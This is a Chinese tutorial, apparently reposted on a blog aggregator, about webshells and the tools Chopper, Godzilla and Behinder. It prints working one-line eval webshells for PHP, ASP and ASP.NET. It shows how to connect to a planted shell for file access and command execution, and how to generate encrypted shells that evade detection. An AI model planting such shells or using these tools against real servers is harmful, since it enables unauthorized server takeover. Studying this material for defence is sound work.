webshell及工具

news2024/10/7 18:21:55

目录

一,Webshell的概念

二,eval函数的定义和用法

三,连接工具菜刀

 3.1文件管理

3.2 虚拟终端

3.3 菜刀与burpsuite联动

四,哥斯拉的使用

五,冰蝎

 六,webshell分类

 七,webshell如何连接


一,Webshell的概念

       webshell可以理解为是黑客通过各种手段上传到服务器的一段脚本,通过这段脚本执行服务器代码而达到控制服务器的功能。

常见的脚本语言有:

php,asp,asp.net,jsp

例如:

PHP:<?php@eval($_POST['caidao']);?>

<?php

@eval( $_POST['caidao'] );

?>
//eval是函数,传递的是$_POST里面的参数

ASP:<%eval request("caidao")%>

ASP.NET:<%@Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>

Jspwebshell

二,eval函数的定义和用法

1,eval()函数把字符串按照php代码来计算;

2,该字符串必须是合法的php代码,且必须以分号结尾;

php中的echo的功能是把参数直接输出到页面上:

shell.php中的代码:

<?php
 
echo $_POST['caidao'];


?>

 给参数caidao赋值,然后输出到页面上:

给caidao的值111输出到页面是111

eval函数把字符串按照php代码进行解析,并且该字符串必须是合法的php代码。

eval函数前面加上@符号可以不显示报错。

<?php
 
eval($_POST['caidao']);


?>

eval函数的作用也是解析参数,我们在firefox随意传递一个参数试试:

可以看到没有加@时我们会看到报错信息

 当我们加上@再次运行看看:

一样的数据,但是没有报错

这时候,当我们传递的参数是 合法的php代码,phpinfo(),我们再次运行:

可以看到正确的回显信息,但是一定要记住末尾要以分号结尾,否则会报错

eval函数将客户端传递的字符串传递进来之后在服务器端解析出来,这个过程叫代码执行

从下图可以发现,eval函数可以将传入的参数当做php代码来执行

注意:

当我们输入windows命令时需要用分号括起来,注意是键盘数字1旁边的分号··

三,连接工具菜刀

添加完之后多了一条记录:

 3.1文件管理

 然后鼠标右键点文件管理:

出现了类似于windows的磁盘管理器,在这里直接可以看到网站的根目录

在这里可以发现,我们不光可以看到网站的根目录,还可以看到其他的文件,说明权限设置有问题。

同理,还可以看到当前网站的数据库信息:

3.2 虚拟终端

 比如,当我们通过菜刀开启这个网站的虚拟终端可以查看此网站的权限:

可以看到这里是系统管理员权限,但是正常的情况下在此网站根目录下是不可以看其他的文件的

3.3 菜刀与burpsuite联动

因为菜刀的默认浏览器是IE浏览器,所以我们打开IE浏览器的代理设置:

打开代理之前首先需要打开IE浏览器的Internet Explore模式

然后通过设置打开代理

注意代理的端口要改为8080:

然后我们打开burpsuite的拦截,例如我们在菜刀上的活动:打开虚拟终端执行一条命令,这时在burpsuite上会截取一段数据包:

四,哥斯拉的使用

点击jar文件:

在前面看到的webshell特征过于明显,很容易被查杀,如下图:

使用哥斯拉:

点击管理->生成,可以看到如下页面

 输入自己设置的密码和密钥,这样处理和上面见到的webshell的区别是在即使别人知道了这个webshell但是没有密码也很难利用的。

想生成什么脚本就选择什么加密:

然后点击生成,按照步骤保存:

可以看到生成的webshell:

现在我们将这个webshell放入到网站的根目录下:

用工具访问webshell是空白说明正常:

然后添加webshell测试连接:

显示测试连接成功:

 

部分功能介绍:

代理主机与代理端口:

例如在进行护网的时候,在做内网渗透时,在内网中拿到一个webshell。这时我们在外面是连不进去的,这时可以通过改变主机和端口进行添加。

然后点击添加,就可以看到和菜刀一样的功能页面:

右键点击进入:

可以看到基础信息:

命令执行窗口可以直接输入windows命令:

文件管理和菜刀大同小异:

数据库管理:

五,冰蝎

点进去:

 

 

 冰蝎自带webshell:

 比如打开php版本的:

可以看到是比较复杂的webshell,不是一句话webshell

 正常情况我们需要修改默认的md5密码的,可以在cmd5.com中进行修改:

 按要求截取前16位:

 

然后将修改后的webshell传到网站服务器上:

 在冰蝎中右键点击新增shell:

 在添加之前可以先用firefox测试一下这个webshell是否存在:

出现空白即存在

添加shell:

 

 点进去能看见具体信息就说明连接成功了:

 

 然后就可以依次使用自带的功能了

 六,webshell分类

全功能大马:包含文件管理,命令执行,数据库连接,端口扫描等功能;

一句话小马:主要借助于webshell连接工具进行连接执行诸如文件管理,命令执行,数据库管理等操作

特定功能木马:命令执行,目录扫描

 例:

大马

通过网站来进行文件管理,命令执行等操作

firefox访问:

登陆密码是angel,查看webshell密码可以看到

报错但不用管

 

 七,webshell如何连接

大马:直接在浏览器访问,大多数输入密码即可

一句话木马:需要借助webshell链接工具进行连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/509516.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

哪个牌子的电视盒子好用?罗鹏数码盘点2023电视盒子排名

电视机资源少、卡顿&#xff0c;配置不足的时候只需要安装一台电视盒子就可以解决这些问题&#xff0c;不需要花费大价钱更换电视机。那么&#xff0c;你知道哪个牌子的电视盒子好用吗&#xff1f;今天罗鹏就来详细聊聊这个话题&#xff0c;分享2023最新电视盒子排名。 一&…

在家经济性雾视训练

如何使用睛延宝进行雾视训练&#xff0c;才能缩轴控度&#xff1f; 雾视的相关概念 首先大家要知道什么是雾视? 顾名思义&#xff0c;雾视就是眼睛看目标物时有点模糊&#xff0c;好像有层雾。 雾视的效果:放松睫状肌&#xff0c;拉薄晶状体&#xff0c;增厚脉络膜。 原理就…

如何与劳氏 Lowe‘s 建立EDI连接?

劳氏Lowes&#xff08;以下简称&#xff1a;Lowes&#xff09;是专门从事家庭装修的美国零售公司&#xff0c;而 EDI 则是电子数据交换的缩写&#xff0c;是指通过计算机网络进行企业间电子数据交换的一种标准化方式。 通过 EDI&#xff0c;企业与Lowes之间可以直接交换各种商…

【Java笔试强训 35】

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点! 欢迎志同道合的朋友一起加油喔&#x1f93a;&#x1f93a;&#x1f93a; 目录 一、选择题 二、编程题 &#x1f525;年会抽奖…

六、FM1288调试方案-调试过程及细节

本篇文章,主要讲述实际调试操作:具体到需要调节哪些寄存器,调节完后,会有什么样的变化。但是整体效果不能达到我们期望的绝对感觉,所以我先把我们调试的结果放在前面,如果觉得不理想,也可以不看后面的内容了。 文章目录 1. 调试准备1.1 建立与FM1288芯片通信1.2 Uart结…

IPv6有哪些优势?

现有的互联网是在IPv4协议的基础上运行的。IPv6是下一版本的互联网协议&#xff0c;也可以说是下一代互联网的协议&#xff0c;它的提出最初是因为随着互联网的迅速发展&#xff0c;IPv4定义的有限地址空间将被耗尽&#xff0c;而地址空间的不足必将妨碍互联网的进一步发展。 为…

1.100ASK-V853-PRO编译烧写

100ASK_V853-PRO 环境配置及编译烧写 0.前言 本章主要介绍关于100ASK_V853-PRO开发板的Tina SDK包的下载和编译打包生成镜像&#xff0c;并将镜像烧录到100ASK_V853-PRO开发板上。在进行100ASK_V853-PRO开发板的环境配置前需要获取配置虚拟机系统&#xff0c;可以参考&#x…

【HA】HomeAssistant 添加 小米温湿度计2代

本方法只是被动的获取小米温湿度计广播出的温度和湿度数据&#xff0c;并没有其他更多功能。 0. 本人配置 树莓派3B Debian 11 (Bullseye) 64 位 Supervisor 2023.05.dev0901 HomeAssistant 已安装 HACS 1. 安装 打开侧边栏中的HACS&#xff0c;点击“集成” 右下角找到“…

ACM - DP - 提高2 (状态机 + 状态压缩 + 区间 + 树形 + 数位 + 单调队列优化 + 斜率优化)

DP 类型题二 【跳转DP 类型题一 &#xff08;模型&#xff1a;数字三角形最长上升子序列背包】一、状态机模型1、AcWing 1057. 股票买卖 IV &#xff1a;两个状态转换2、AcWing 1058. 股票买卖 V &#xff1a;三个状态转换3、AcWing 1052. 设计密码 &#xff1a;T 维状态转换 …

IDEA创建接口类和接口实现类

IDEA创建接口类和接口实现类 IDEA创建接口类IDEA创建接口实现类 以创建Dao包下的代码为例。 IDEA创建接口类 选中要创建接口类的package&#xff0c;右键菜单依次选择New——Java Class。 在弹出的界面中&#xff0c;将创建的对象类型由Class改为Interface&#xff0c;如下图…

Jmeter接口测试流程详解

1、jmeter简介 Jmeter是由Apache公司开发的java开源项目&#xff0c;所以想要使用它必须基于java环境才可以&#xff1b; Jmeter采用多线程&#xff0c;允许通过多个线程并发取样或通过独立的线程对不同的功能同时取样。 2、jmeter安装 首先需要安装jdk&#xff08;最好是最…

“锻造”微生物组以帮助我们长寿和繁荣

谷禾健康 衰老通常伴随着心血管、神经和免疫系统等一系列疾病的风险增加。 虽然在理解微生物组导致与衰老相关的个别疾病的细胞和分子机制方面取得了显著进展&#xff0c;我们在之前的文章也有这方面的阐述&#xff1a; 肠道微生物群与健康长寿 肠道微生物群的老化及其对宿主免…

二、Linux入门| shell运行原理及Linux权限的理解

一、Linux 软件包管理器 - yum centos7的安装方式 1、源码安装&#xff08;较复杂&#xff09; 2、rpm包安装&#xff08;较复杂&#xff0c;未解决依赖关系&#xff09; 3、yum安装&#xff08;不用编译源码&#xff0c;不用解决软件的依赖关系&#xff0c;门槛较低&#xff…

LeetCode4. 寻找两个正序数组的中位数

写在前面&#xff1a; 题目链接&#xff1a;LeetCode4. 寻找两个正序数组的中位数 编程语言&#xff1a;C 题目难度&#xff1a;困难 一、题目描述 给定两个大小分别为 m 和 n 的正序&#xff08;从小到大&#xff09;数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中…

英文论文润色哪家好用比较好,有值得推荐的吗

英文论文润色 推荐 英文论文润色对于写作者来说是一项十分重要的任务&#xff0c;它可以帮助我们修改文章中的语法、标点和排版等问题&#xff0c;使论文更加准确和易读。在众多的英文润色软件中&#xff0c;147chatgpt改写润色软件是一款值得推荐的全自动批量图文润色、自动纠…

SSM框架学习-核心容器小结

1. 容器相关 Spring核心容器中的容器是指容器对象&#xff0c;用于管理和装配Bean。它主要包含以下四个容器&#xff1a; BeanFactory容器&#xff1a;是最简单的容器&#xff0c;提供实例化、配置和管理对象的基本功能&#xff0c;但不提供AOP、事务管理等高级功能。 Applica…

三分钟,带你了解零代码开发

企业数字化转型如火如荼的进行&#xff0c;五花八门的零代码、低代码工具正如雨后春笋一般出现&#xff0c;那么零代码开发是什么&#xff1f; 阅读本文您将了解&#xff1a; 零代码开发是什么零代码与企业数字化转型零代码开发带来的效益简道云零代码平台应用实例 一、零代…

3ds Max云渲染有多快,3ds Max云渲染怎么用?

本地渲染效果图和动画3D项目是一个非常耗时的过程&#xff0c;当在场景中使用未优化的几何体或在最终渲染中使用大量多边形模型时&#xff0c;诸如此类的变量最终会增加渲染项目所需的时间和处理器能力。随着提供的渲染服务的云渲染平台出现&#xff0c;越来越多动画师、艺术家…

【ChirpStack 】如何获取 JWT TOKEN并利用 API 下发数据?

LoRa App Server 提供了两类 API 接口&#xff0c;其中 RESTful JSON API 提供了一个 API console&#xff0c;在AS地址的基础上使用 /api 即可访问&#xff0c;罗列了 API 端点和文档介绍&#xff0c;测试起来非常方便。 本文主要介绍 如何使用 chirpstack 的API 进行测试以及…

日常问题----如和解决跨域

一、什么是跨域 跨域不是问题&#xff0c;是一种安全机制。 同源策略是浏览器一个重要的安全策略&#xff0c;一个url由三部分组成:协议&#xff0c;域名&#xff08;ip地址&#xff09;&#xff0c;端口。所谓的同源就是指两个域有相同的协议&#xff08;protocol&#xff09…